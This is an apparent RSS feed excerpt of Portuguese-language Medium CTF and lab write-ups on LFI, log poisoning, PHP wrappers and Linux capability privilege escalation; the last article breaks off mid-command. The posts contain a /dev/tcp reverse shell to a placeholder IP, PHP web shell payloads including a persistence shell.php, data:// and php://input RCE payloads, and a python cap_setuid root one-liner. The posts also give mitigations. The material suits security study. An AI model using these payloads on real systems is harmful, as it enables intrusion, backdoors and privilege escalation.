estava funcionando:</p><p>Shell decodada:</p><pre>bash -c &#39;bash -i &gt;&amp; /dev/tcp/MEU-IP/4444 0&gt;&amp;1&#39;</pre><pre># No Kali - preparando listener<br>nc -nvlp 4444<br># Via RCE - executando reverse shell (URL encoded)<br>&amp;cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FMEUIP%2F4444%200%3E%261%27</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*Ylpn325ORjeeAJw5i55Ypg.png" /></figure><p><strong>Sucesso!</strong> Shell reverso estabelecido como usuário www-data.</p><h3>🏆 Fase 5: Privilege Escalation</h3><h3>Investigação de Capabilities</h3><p>O CTF mencionava escalação via Python com cap_setuid+ep.</p><h4>🔐 Linux Capabilities: cap_setuid+ep Explicado</h4><p>Vou explicar detalhadamente essa vulnerabilidade crítica do Linux!</p><h4>🎯 O que são Linux Capabilities?</h4><p><strong>Linux Capabilities</strong> são uma forma de dividir os privilégios do usuário root em unidades menores e mais específicas. Em vez de dar privilégios totais de root, você pode conceder apenas as permissões específicas necessárias.</p><h3>Problema que resolve:</h3><ul><li><strong>Antes:</strong> Ou você é root (tudo) ou usuário comum (quase nada)</li><li><strong>Depois:</strong> Você pode ter privilégios específicos sem ser root completo</li></ul><h4>🔍 CAP_SETUID Específicamente</h4><h3>O que faz:</h3><p>CAP_SETUID permite que um processo <strong>altere seu User ID (UID)</strong> para qualquer valor, incluindo 0 (root).</p><h4>Funções que utiliza:</h4><ul><li>setuid() - Muda o UID do processo</li><li>setreuid() - Muda UID real e efetivo</li><li>setresuid() - Muda UID real, efetivo e saved</li></ul><pre>// Exemplo em C<br>#include &lt;unistd.h&gt;<br>#include &lt;sys/types.h&gt;<br><br>int main() {<br>    setuid(0);  // Muda para UID 0 (root)<br>    system(&quot;/bin/bash&quot;);  // Executa shell como root<br>    return 0;<br>}</pre><h4>⚡ O que significa “+ep”?</h4><p>As capabilities têm 3 conjuntos de flags:</p><h4>📋 Os 3 Conjuntos:</h4><ol><li><strong>e (Effective)</strong> - Capabilities ativas no momento</li><li><strong>p (Permitted)</strong> - Capabilities que podem ser ativadas</li><li><strong>i (Inheritable)</strong> - Capabilities passadas para processos filhos</li></ol><h4>+ep significa:</h4><ul><li><strong>e</strong> - A capability está <strong>ATIVA</strong></li><li><strong>p</strong> - A capability está <strong>PERMITIDA</strong></li></ul><pre># Exemplo de saída do getcap<br>/usr/bin/python3 = cap_setuid+ep<br>#                            ^^<br>#                            ||<br>#                   Effective + Permitted</pre><h4>🎯 Como Explorar cap_setuid+ep</h4><h4>1. Identificação:</h4><pre># Procurar por arquivos com cap_setuid<br>getcap -r / 2&gt;/dev/null | grep setuid<br><br># Resultado típico:<br>/usr/bin/python3 = cap_setuid+ep</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*8M0h3NPNAbI1COw1KUuDMw.png" /></figure><h4>2. Verificação dos flags:</h4><pre># Ver capabilities de um arquivo específico<br>getcap /usr/bin/python3<br>/usr/bin/python3 = cap_setuid+ep</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*RnC-lyxqCqnqFPPNcbqCeQ.png" /></figure><h4>3. Exploração:</h4><p>Da pra fazer via bash ou python, pelo menos são as que eu vi nesse challenge;</p><pre># Em Python<br>import os<br>os.setuid(0)        # Muda para UID 0 (root)<br>os.system(&#39;/bin/bash&#39;)  # Executa shell como root</pre><pre># Via Bash<br>python3 -c &quot;import os; os.setuid(0); os.system(&#39;/bin/bash&#39;)&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*3Me7crK8LKkXtEEsFkRlDg.png" /></figure><h3>⚠️ Por que é Perigoso?</h3><h4>1. Escalação Direta:</h4><ul><li><strong>Sem necessidade de exploits complexos</strong></li><li><strong>Sem necessidade de senha</strong></li><li><strong>Execução direta para root</strong></li></ul><h4>2. Bypass de Proteções:</h4><ul><li><strong>Não aparece em </strong><strong>sudo -l</strong></li><li><strong>Não requer configuração de sudoers</strong></li><li><strong>Difícil de detectar sem auditoria específica</strong></li></ul><h4>3. Persistência:</h4><ul><li><strong>Capabilities são permanentes no arquivo</strong></li><li><strong>Sobrevivem a reinicializações</strong></li><li><strong>Difíceis de remover acidentalmente</strong></li></ul><h3>🛡️ Como Detectar e Mitigar</h3><h4>1. Auditoria Regular:</h4><pre># Script de auditoria<br>#!/bin/bash<br>echo &quot;=== AUDITORIA DE CAPABILITIES ===&quot;<br>getcap -r / 2&gt;/dev/null | grep -E &quot;(setuid|setgid|dac_override)&quot;<br><br># Verificar especificamente interpreters<br>find /usr/bin /usr/local/bin -name &quot;python*&quot; -o -name &quot;perl*&quot; -o -name &quot;ruby*&quot; | xargs getcap 2&gt;/dev/null</pre><h4>2. Remoção de Capabilities:</h4><pre># Remover capability perigosa<br>sudo setcap -r /usr/bin/python3<br><br># Verificar se foi removida<br>getcap /usr/bin/python3<br># (sem output = sem capabilities)</pre><h4>3. Monitoramento:</h4><pre># Adicionar ao rsyslog/auditd<br># /etc/audit/rules.d/capabilities.rules<br>-a always,exit -F arch=b64 -S setuid,setreuid,setresuid -F success=1 -k privilege_escalation</pre><h4>4. Princípio do Menor Privilégio:</h4><pre># Em vez de cap_setuid+ep, use capabilities mais específicas<br># Exemplo: apenas permitir bind em portas baixas<br>sudo setcap cap_net_bind_service+ep /usr/bin/myapp</pre><p>🎓 <strong>Outros Capabilities Perigosos</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*Ee9dgEmhPXxsWbgfgOwtUQ.png" /><figcaption>Tive que fazer a tabela no exel</figcaption></figure><h4>💡 Resumo Executivo</h4><h4>cap_setuid+ep é perigoso porque:</h4><ol><li><strong>Permite alteração direta do UID para 0 (root)</strong></li><li><strong>Não requer senha ou sudo</strong></li><li><strong>Difícil de detectar sem auditoria específica</strong></li><li><strong>Exploração trivial em Python/Perl/Ruby</strong></li></ol><h4>Defesa:</h4><ol><li><strong>Auditoria regular de capabilities</strong></li><li><strong>Remoção de capabilities desnecessárias</strong></li><li><strong>Monitoramento de uso de setuid()</strong></li><li><strong>Princípio do menor privilégio sempre</strong></li></ol><p><strong>🔥 Em resumo: cap_setuid+ep em interpreters = escalação instantânea para root!</strong></p><h3>Voltando <strong>ao </strong>CTF:</h3><p>O proximo passo era usar o cap_setuid+ep, conforme eu expliquei acima.</p><p>Investiguei:</p><pre>www-data@ip-172-16-14-211:/var/www/html$ whoami<br>www-data<br>www-data@ip-172-16-14-211:/var/www/html$ which python3<br>/usr/bin/python3<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*5kAocpQRE8HYI186xZNwdw.png" /></figure><p>Python com cap_setuid+ep permite alterar o UID efetivo do processo. O exploit é direto:</p><pre># Escalação para root<br>python3 -c &quot;import os; os.setuid(0); os.system(&#39;/bin/bash&#39;)&quot;</pre><p><strong>Resultado:</strong></p><pre>www-data@ip-172-16-14-211:/var/www/html$ python3 -c &quot;import os; os.setuid(0); os.system(&#39;/bin/bash&#39;)&quot;<br>root@ip-172-16-14-211:/var/www/html#</pre><p>🎉 <strong>ROOT OBTIDO!</strong></p><p>Agora é só pegar as flags, para esse desafio eram 2.</p><p>A primeira flag com o usuario www, para comprovar o LFI Poisioning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*d27tc587VGO18WKJfWjB7Q.png" /></figure><p>E a segunda flag com o usuario root, para confirmar a escalada de privilegios.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*AiJzL6UGKFO2sX8rXX-jew.png" /></figure><h4>🏁 Flags Capturadas</h4><h3>🎓 Lições Aprendidas</h3><h3>1. Local File Inclusion (LFI)</h3><ul><li>Sempre teste parâmetros que possam incluir arquivos</li><li>Preste atenção em como o conteúdo é refletido (HTML vs source)</li><li>Use diferentes níveis de directory traversal (../../, ../../../, etc.)</li></ul><h3>2. Log Poisoning</h3><ul><li>Logs do Apache são alvos clássicos para poisoning</li><li>User-Agent é um vetor comum para injeção</li><li>Combine LFI + Log Poisoning = RCE</li></ul><h3>3. Linux Capabilities</h3><ul><li>cap_setuid+ep em binários permite escalação direta</li><li>Python com essas capabilities é especialmente perigoso</li><li>Sempre verifique capabilities com getcap -r /</li></ul><h3>4. Metodologia de Pentesting</h3><ul><li>Reconhecimento detalhado é fundamental</li><li>Pequenas diferenças podem indicar vulnerabilidades</li><li>Persistência na enumeração compensa</li></ul><h3>🛡️ Mitigações</h3><h3>Para LFI:</h3><ul><li>Validação rigorosa de entrada</li><li>Whitelist de arquivos permitidos</li><li>Uso de basename() para evitar directory traversal</li><li>Configuração adequada de open_basedir</li></ul><h3>Para Log Poisoning:</h3><ul><li>Sanitização de headers HTTP</li><li>Logs em diretórios não acessíveis via web</li><li>Validação de User-Agent</li></ul><h3>Para Capabilities:</h3><ul><li>Princípio do menor privilégio</li><li>Auditoria regular de capabilities</li><li>Remoção de capabilities desnecessárias</li></ul><h3>🔗 Referências</h3><ul><li><a href="https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion">OWASP — File Inclusion</a></li><li><a href="https://man7.org/linux/man-pages/man7/capabilities.7.html">Linux Capabilities</a></li><li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi-to-rce-via-controlled-log-file">Log Poisoning Techniques</a></li></ul><p><strong>Happy Hacking! 🔒🔓</strong></p><p><em>Se você gostou deste writeup, deixe um clap e me siga para mais conteúdo sobre cybersecurity e penetration testing!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b753d40f2ce1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LFI Log Poisoning: Guia Completo e Walkthrough Prático]]></title>
            <link>https://medium.com/@silvasec/lfi-log-poisoning-guia-completo-e-walkthrough-pr%C3%A1tico-77d4a80a757f?source=rss-58a5322995c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/77d4a80a757f</guid>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Jonathan M.]]></dc:creator>
            <pubDate>Sat, 02 Aug 2025 22:22:46 GMT</pubDate>
            <atom:updated>2025-08-02T22:22:46.685Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introdução</h3><p>O LFI Log Poisoning é uma técnica avançada de exploração que combina duas vulnerabilidades distintas para obter execução remota de código. Neste artigo, vamos explorar desde os conceitos básicos até um walkthrough prático de uma máquina de estudos.</p><p><strong>⚠️ Aviso Legal:</strong> Este conteúdo é puramente educacional e deve ser usado apenas em ambientes controlados e autorizados para fins de aprendizado em segurança cibernética.</p><h3>O que é LFI Log Poisoning?</h3><h3>Entendendo o LFI (Local File Inclusion)</h3><p>Local File Inclusion é uma vulnerabilidade que permite a um atacante incluir arquivos locais do servidor através de parâmetros manipuláveis na aplicação web. Isso acontece quando a aplicação não valida adequadamente os inputs do usuário.</p><p><strong>Exemplo básico:</strong></p><pre>http://exemplo.com/index.php?page=../../../../etc/passwd</pre><h3>O Conceito de Log Poisoning</h3><p>Log Poisoning é a técnica de “envenenar” arquivos de log inserindo código malicioso que será posteriormente executado quando o log for lido através de uma vulnerabilidade LFI.</p><h3>Como Funciona o Ataque</h3><h3>Passo 1: Identificação da Vulnerabilidade LFI</h3><ul><li>Encontrar parâmetros que incluem arquivos</li><li>Testar com payloads de directory traversal</li><li>Confirmar a capacidade de ler arquivos do sistema</li></ul><h3>Passo 2: Localização dos Arquivos de Log</h3><p>Logs comuns que podem ser alvos:</p><ul><li>/var/log/apache2/access.log</li><li>/var/log/nginx/access.log</li><li>/var/log/auth.log</li><li>/proc/self/environ</li></ul><h3>Passo 3: Envenenamento do Log</h3><p>Inserir código PHP malicioso através de campos que são registrados nos logs:</p><ul><li>User-Agent</li><li>Referer</li><li>Nome de arquivos requisitados</li></ul><h3>Passo 4: Execução via LFI</h3><p>Usar a vulnerabilidade LFI para ler o log envenenado e executar o código.</p><h3>🥸 Walkthrough Prático</h3><h3>Informações da Máquina</h3><ul><li><strong>Nome:</strong> LFI Log Poisoning</li><li><strong>Dificuldade:</strong> Médio</li><li><strong>IP:</strong> 10.10.0.18</li><li><strong>Objetivo:</strong> Explorar LFI com Log Poisoning para RCE</li></ul><h3>Fase 1: Reconhecimento e Descoberta Inicial</h3><p>Ao acessar o IP 10.10.0.18 via navegador, nos deparamos imediatamente com uma página de upload de arquivos. Esta é uma situação comum em CTFs onde a aplicação já está exposta diretamente.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wXOiUcECd5C3qDA7Q6FaUA.png" /><figcaption>Ponto de entrada, parametro ?fid=</figcaption></figure><p><strong>Primeira descoberta crítica:</strong></p><ul><li>Testamos a funcionalidade criando um arquivo simples: touch teste.png</li><li>Após o upload, o sistema nos redirecionou para: <a href="http://10.10.0.18/download.php?fid=./files/1606135768/test.png">http://10.10.0.18/download.php?fid=./files/394164068/test.png</a></li></ul><p>🎯 <strong>Vetor de ataque identificado:</strong> O parâmetro fid no arquivo download.php é nosso ponto de entrada!</p><h3>Fase 2: Confirmação da Vulnerabilidade LFI</h3><p><strong>Teste direto no navegador:</strong></p><pre>http://10.10.0.18/download.php?fid=../../../../etc/passwd</pre><p><strong>Resultado:</strong> A aplicação baixou um arquivo chamado _.._.._.._etc_passwd contendo:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*ORM6M980TwosDQHpAgSHDw.png" /></figure><p>✅ <strong>LFI confirmado com sucesso!</strong></p><h3>Fase 3: Identificação dos Logs Acessíveis</h3><p><strong>Testando acesso aos logs do nginx:</strong></p><pre>http://10.10.0.18/download.php?fid=../../../../var/log/nginx/access.log</pre><p><strong>Conteúdo do log encontrado:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ilPBMeDTYhbHp5zlsGvR2w.png" /><figcaption>Log acessivel e requisições sendo registradas!</figcaption></figure><p>🎯 <strong>Podemos ver nossas próprias requisições sendo registradas!</strong></p><h3>Fase 4: Log Poisoning via URL</h3><p><strong>Injeção direta via URL:</strong></p><pre>http://10.10.0.18/download.php?fid=&lt;?php system(\$_GET[&#39;cmd&#39;]); ?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*PQEMO5cvFkBC82RiIV07Lw.png" /></figure><p><strong>Verificação do poisoning no log:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*irS4kN5lGmcJRwWZgtwyjQ.png" /><figcaption>Aqui a gente pode ver que a injeção funcionou.</figcaption></figure><p>✅ <strong>Payload PHP injetado com sucesso no log!</strong></p><h3>🏴‍☠️Fase 5: Execução Remota de Código (RCE)</h3><p><strong>Teste inicial — comando whoami:</strong></p><pre>http://10.10.0.18/download.php?fid=../../../../var/log/nginx/access.log&amp;cmd=whoami</pre><p><strong>Resultado no log:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*Vbm2izNvzOBinpfQpxGpWw.png" /></figure><p><strong>Listagem do sistema de arquivos:</strong></p><pre>http://10.10.0.18/download.php?fid=../../../../var/log/nginx/access.log&amp;cmd=ls /</pre><p><strong>Output:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BJeRe69EtYuyaFNXEaJ1ZQ.png" /></figure><p>🏁 <strong>Flag identificada: </strong><strong>flag.txt</strong></p><p><strong>Comando final:</strong></p><pre>http://10.10.0.18/download.php?fid=../../../../var/log/nginx/access.log&amp;cmd=cat /flag.txt</pre><p>🎉 <strong>Flag capturada:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0OHfmNQfRwWNxhfL6RL-IQ.png" /></figure><h3>📒Lições Aprendidas do Walkthrough</h3><h3>Técnicas Alternativas Descobertas</h3><p><strong>Injeção via URL direta:</strong> Uma abordagem menos comum mas efetiva foi injetar o payload PHP diretamente através do parâmetro vulnerável, ao invés de usar curl com User-Agent modificado. Isso demonstra que há múltiplas formas de alcançar o mesmo objetivo.</p><p><strong>URL Encoding automático:</strong> O navegador automaticamente codificou nosso payload, transformando &lt; em %3C e outros caracteres especiais, o que não impediu a execução do código.</p><h3>Pontos Críticos de Sucesso</h3><ol><li><strong>Identificação rápida do vetor:</strong> A funcionalidade de upload/download expôs imediatamente o parâmetro vulnerável</li><li><strong>Teste sistemático de logs:</strong> Nginx access.log foi o caminho correto neste ambiente</li><li><strong>Validação do poisoning:</strong> Sempre verificar se o payload foi registrado antes de tentar a execução</li><li><strong>Execução progressiva:</strong> Comandos simples primeiro (whoami, ls) antes de partir para objetivos complexos</li></ol><h3>Técnicas Avançadas Complementares</h3><p><strong>Bypass de Filtros:</strong></p><pre>%2e%2e%2f = ../<br>%252e%252e%252f = ../ (dupla codificação)</pre><p><strong>Null Byte (PHP &lt; 5.3.4):</strong></p><pre>../../../../etc/passwd%00</pre><p><strong>Wrappers PHP:</strong></p><pre>php://filter/convert.base64-encode/resource=../../../../etc/passwd</pre><h3>Estabelecendo Persistência</h3><p>Se necessário manter acesso, após obter RCE:</p><pre>http://10.10.0.18/download.php?fid=../../../../var/log/nginx/access.log&amp;cmd=echo &#39;&lt;?php system($_GET[&quot;c&quot;]); ?&gt;&#39; &gt; /var/www/html/shell.php</pre><h3>🥽Medidas de Proteção</h3><h3>Para Desenvolvedores</h3><ol><li><strong>Validação de Input Rigorosa</strong></li></ol><pre>// Whitelist de arquivos permitidos<br>$allowed_files = [&#39;home.php&#39;, &#39;about.php&#39;, &#39;contact.php&#39;];<br>if (in_array($_GET[&#39;page&#39;], $allowed_files)) {<br>    include $_GET[&#39;page&#39;];<br>} else {<br>    die(&#39;Arquivo não permitido&#39;);<br>}</pre><ol><li><strong>Sanitização com realpath()</strong></li></ol><pre>$file = realpath(&#39;./files/&#39; . basename($_GET[&#39;fid&#39;]));<br>if ($file &amp;&amp; strpos($file, realpath(&#39;./files/&#39;)) === 0) {<br>    readfile($file);<br>} else {<br>    die(&#39;Acesso negado&#39;);<br>}</pre><ol><li><strong>Nunca confiar em input do usuário</strong></li><li><strong>Implementar logs seguros que não interpretem código</strong></li></ol><h3>Para Administradores de Sistema</h3><ol><li><strong>Configuração adequada de logs</strong></li><li><strong>Permissões restritivas</strong></li><li><strong>Monitoramento de logs</strong></li><li><strong>Web Application Firewall (WAF)</strong></li></ol><h3>Considerações Finais</h3><p>O walkthrough prático da máquina 10.10.0.18 demonstrou na prática como o LFI Log Poisoning pode ser uma técnica devastadoramente eficaz. A captura da flag comprovou que vulnerabilidades aparentemente simples, quando combinadas, podem resultar em comprometimento total do sistema.</p><h3>Principais Takeaways</h3><ol><li><strong>Reconhecimento é fundamental:</strong> Identificar rapidamente pontos de entrada viáveis</li><li><strong>Teste sistemático:</strong> Nem sempre o primeiro log testado será o acessível</li><li><strong>Criatividade nas técnicas:</strong> A injeção via URL direta mostrou-se tão eficaz quanto métodos tradicionais</li><li><strong>Validação constante:</strong> Sempre verificar se cada etapa foi bem-sucedida antes de prosseguir</li></ol><h3>Impacto Real</h3><p>Em um ambiente de produção, esse tipo de vulnerabilidade permitiria:</p><ul><li>Acesso total ao sistema de arquivos</li><li>Execução de comandos arbitrários como www-data</li><li>Possível escalação de privilégios</li><li>Comprometimento de dados sensíveis</li><li>Estabelecimento de backdoors para acesso persistente</li></ul><h3>Próximos Passos</h3><ol><li>Practice em labs controlados.</li><li>Estudo de variações da técnica.</li><li>Desenvolvimento de scripts de automação.</li><li>Aprofundamento em medidas de proteção.</li></ol><p><strong>Lembre-se:</strong> O conhecimento em segurança cibernética deve sempre ser usado de forma ética e responsável, contribuindo para um ambiente digital mais seguro para todos.</p><p><em>Este artigo faz parte de uma série sobre técnicas de penetration testing. Para mais conteúdo educacional sobre segurança cibernética, acompanhe nossas publicações.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=77d4a80a757f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LFI com PHP Wrappers: Entendendo a Vulnerabilidade na Prática]]></title>
            <link>https://medium.com/@silvasec/lfi-com-php-wrappers-entendendo-a-vulnerabilidade-na-pr%C3%A1tica-7f12e20aacd1?source=rss-58a5322995c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f12e20aacd1</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Jonathan M.]]></dc:creator>
            <pubDate>Sat, 02 Aug 2025 21:34:05 GMT</pubDate>
            <atom:updated>2025-08-02T21:34:05.255Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introdução</h3><p>Local File Inclusion (LFI) é uma das vulnerabilidades web mais comuns e perigosas que encontramos em aplicações PHP. Quando combinada com PHP Wrappers, essa vulnerabilidade se torna ainda mais poderosa, permitindo que atacantes não apenas leiam arquivos, mas também executem código e comprometam completamente o servidor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xpmpO4vqPA1eXQfj8aFSWg.png" /><figcaption>AI Generated</figcaption></figure><p>Neste artigo, vamos entender de forma prática como funciona essa vulnerabilidade e como explorá-la eticamente em ambientes de laboratório.</p><h3>O que é LFI (Local File Inclusion)?</h3><p>LFI é uma vulnerabilidade que ocorre quando uma aplicação web inclui arquivos baseados em entrada do usuário sem validação adequada. É como se o site fosse uma biblioteca onde você pode pedir qualquer livro, até mesmo os que estão no escritório privado do bibliotecário.</p><h3>Exemplo Básico</h3><p>Considere este código PHP vulnerável:</p><pre>&lt;?php<br>$page = $_GET[&#39;page&#39;];<br>include($page);<br>?&gt;</pre><p>Uma URL normal seria:</p><pre>http://exemplo.com/index.php?page=home.php</pre><p>Mas um atacante poderia explorar assim:</p><pre>http://exemplo.com/index.php?page=../../../etc/passwd</pre><h3>PHP Wrappers: Os Multiplicadores de Poder</h3><p>PHP Wrappers são protocolos especiais que o PHP reconhece para acessar diferentes tipos de recursos. Eles transformam uma simples vulnerabilidade LFI em uma ferramenta muito mais poderosa.</p><h3>1. php://filter — O Revelador de Código</h3><p>O wrapper php://filter é usado para aplicar filtros aos dados antes de lê-los. Sua principal utilidade em LFI é converter arquivos PHP em base64 para visualizar o código fonte.</p><p><strong>Sintaxe:</strong></p><pre>php://filter/convert.base64-encode/resource=arquivo.php</pre><p><strong>Por que base64?</strong></p><ul><li>Arquivos PHP são executados pelo servidor antes de serem enviados</li><li>Base64 “desativa” a execução, mostrando o código fonte</li><li>Depois decodificamos para ver o conteúdo original</li></ul><p><strong>Exemplo prático:</strong></p><pre>http://site.com/index.php?page=php://filter/convert.base64-encode/resource=config.php</pre><h3>2. data:// — O Injetor de Código</h3><p>O wrapper data:// permite incluir dados diretamente na URL, como se fosse um arquivo.</p><p><strong>Sintaxe:</strong></p><pre>data://text/plain;base64,CÓDIGO_EM_BASE64</pre><p><strong>Exemplo de exploit:</strong></p><pre># Código PHP: &lt;?php echo &quot;Exploited!&quot;; ?&gt;<br># Em base64: PD9waHAgZWNobyAiRXhwbG9pdGVkISI7ID8+</pre><pre># URL final:<br>http://site.com/index.php?page=data://text/plain;base64,PD9waHAgZWNobyAiRXhwbG9pdGVkISI7ID8+</pre><h3>3. expect:// — O Executor de Comandos</h3><p>O wrapper expect:// executa comandos do sistema operacional.</p><p><strong>Exemplo:</strong></p><pre>http://site.com/index.php?page=expect://whoami</pre><p><strong>Nota:</strong> Requer a extensão expect habilitada (raro em produção).</p><h3>4. php://input — O Receptor de POST</h3><p>Permite ler dados do corpo da requisição HTTP.</p><p><strong>Uso com curl:</strong></p><pre>curl -X POST --data &quot;&lt;?php system(&#39;whoami&#39;); ?&gt;&quot; &quot;http://site.com/index.php?page=php://input&quot;</pre><h3>Metodologia de Exploração</h3><h3>Passo 1: Identificação da Vulnerabilidade</h3><p>Procure por parâmetros que incluem arquivos:</p><ul><li>?page=</li><li>?file=</li><li>?document=</li><li>?path=</li></ul><h3>Passo 2: Teste Básico de LFI</h3><pre># Linux/Unix<br>?page=../../../etc/passwd</pre><pre># Windows<br>?page=../../../windows/win.ini</pre><h3>Passo 3: Bypass de Filtros Comuns</h3><pre># Double encoding<br>?page=..%252f..%252f..%252fetc%252fpasswd</pre><pre># Null byte (PHP &lt; 5.3.4)<br>?page=../../../etc/passwd%00</pre><pre># Wrappers<br>?page=php://filter/convert.base64-encode/resource=../../../etc/passwd</pre><h3>Passo 4: Exploração com PHP Wrappers</h3><pre># Ler código fonte<br>?page=php://filter/convert.base64-encode/resource=index.php</pre><pre># Executar código<br>?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAtbGEnKTsgPz4=</pre><h3>Ferramentas Úteis</h3><h3>Script Python para Decodificar Base64</h3><pre>import base64<br>import sys</pre><pre>if len(sys.argv) != 2:<br>    print(&quot;Uso: python decode.py &lt;string_base64&gt;&quot;)<br>    sys.exit(1)</pre><pre>encoded = sys.argv[1]<br>decoded = base64.b64decode(encoded).decode(&#39;utf-8&#39;)<br>print(decoded)</pre><h3>One-liner para Encoding</h3><pre>echo &#39;&lt;?php system($_GET[&quot;cmd&quot;]); ?&gt;&#39; | base64</pre><h3>Prevenção</h3><h3>Para Desenvolvedores</h3><ol><li><strong>Validação de Entrada:</strong></li></ol><pre>$allowed_pages = [&#39;home&#39;, &#39;about&#39;, &#39;contact&#39;];<br>if (in_array($_GET[&#39;page&#39;], $allowed_pages)) {<br>    include($_GET[&#39;page&#39;] . &#39;.php&#39;);<br>}</pre><ol><li><strong>Sanitização:</strong></li></ol><pre>$page = basename($_GET[&#39;page&#39;]);<br>$page = str_replace([&#39;../&#39;, &#39;..\\&#39;], &#39;&#39;, $page);</pre><ol><li><strong>Configuração do PHP:</strong></li></ol><pre>allow_url_include = Off<br>allow_url_fopen = Off</pre><h3>Para Pentesters</h3><ul><li>Sempre teste em ambientes autorizados</li><li>Documente todos os achados</li><li>Sugira correções construtivas</li><li>Respeite o escopo do teste</li></ul><h3>Cenários Reais de Exploração</h3><h3>Cenário 1: Leitura de Arquivos de Configuração</h3><pre># Objetivo: Encontrar credenciais de banco<br>?page=php://filter/convert.base64-encode/resource=config.php</pre><h3>Cenário 2: Bypass de Autenticação</h3><pre># Objetivo: Entender lógica de login<br>?page=php://filter/convert.base64-encode/resource=login.php</pre><h3>Cenário 3: Remote Code Execution</h3><pre># Objetivo: Executar comandos<br>?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&amp;cmd=whoami</pre><h3>Laboratório Prático</h3><h3>Configuração de Ambiente Vulnerável</h3><pre>&lt;?php<br>// vulnerable.php<br>$page = $_GET[&#39;page&#39;] ?? &#39;home&#39;;<br>include($page . &#39;.php&#39;);<br>?&gt;</pre><h3>Testes Progressivos</h3><ol><li><strong>Teste básico:</strong> ?page=../../../etc/passwd</li><li><strong>Wrapper filter:</strong> ?page=php://filter/convert.base64-encode/resource=vulnerable.php</li><li><strong>Wrapper data:</strong> ?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==</li></ol><h3>Caso Prático Real: Portal de Upload Vulnerável</h3><h3>Cenário da Máquina de Estudos</h3><p>Durante um teste de penetração em uma máquina de laboratório (IP: 10.10.0.17), nos deparamos com um portal web que possuía apenas uma funcionalidade de upload de arquivos. Vamos analisar como exploramos essa aplicação passo a passo.</p><h3>Reconhecimento Inicial</h3><p><strong>Ambiente descoberto:</strong></p><ul><li>Portal web simples com funcionalidade de upload</li><li>Após upload, sistema gera um link de download</li><li>URL de download: <a href="http://10.10.0.17/download.php?fid=./files/394164068/test.png">http://10.10.0.17/download.php?fid=./files/394164068/test.png</a></li></ul><p><strong>Primeira observação crítica:</strong> O parâmetro fid parecia incluir arquivos diretamente baseado na entrada do usuário.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wXOiUcECd5C3qDA7Q6FaUA.png" /></figure><h3>Passo 1: Identificação da Vulnerabilidade</h3><p>Testamos se o parâmetro fid era vulnerável a LFI:</p><pre># Teste básico de LFI<br>curl &quot;http://10.10.0.17/download.php?fid=../../../etc/passwd&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*FpwokRvEaIbwdMUNEvSlog.png" /></figure><p><strong>Resultado:</strong> ✅ Sucesso! O arquivo /etc/passwd foi retornado, confirmando a vulnerabilidade LFI.</p><h3>Passo 2: Exploração com PHP Wrapper</h3><p>Com a vulnerabilidade confirmada, partimos para a exploração usando PHP Wrappers para acessar o código-fonte da aplicação:</p><pre># Leitura do código-fonte do arquivo vulnerável<br>curl &quot;http://10.10.0.17/download.php?fid=php://filter/convert.base64-encode/resource=download.php&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*jGPYD1zT273DOM0f2D3rOw.png" /><figcaption>via browser</figcaption></figure><p><strong>Resultado obtido:</strong></p><pre>PD9waHAgCgokZmlsZSA9ICRfR0VUWydmaWQnXTsKJHR5cGUgPSBAZmlsZXR5cGUoJGZpbGUpOwpoZWFkZXIoJ0NvbnRlbnQtdHlwZTogJy4kdHlwZSk7CmhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicuJGZpbGUuJyInKTsKCmluY2x1ZGUgJGZpbGU7Cgo/Pg==</pre><p><strong>Decodificação:</strong></p><pre>echo 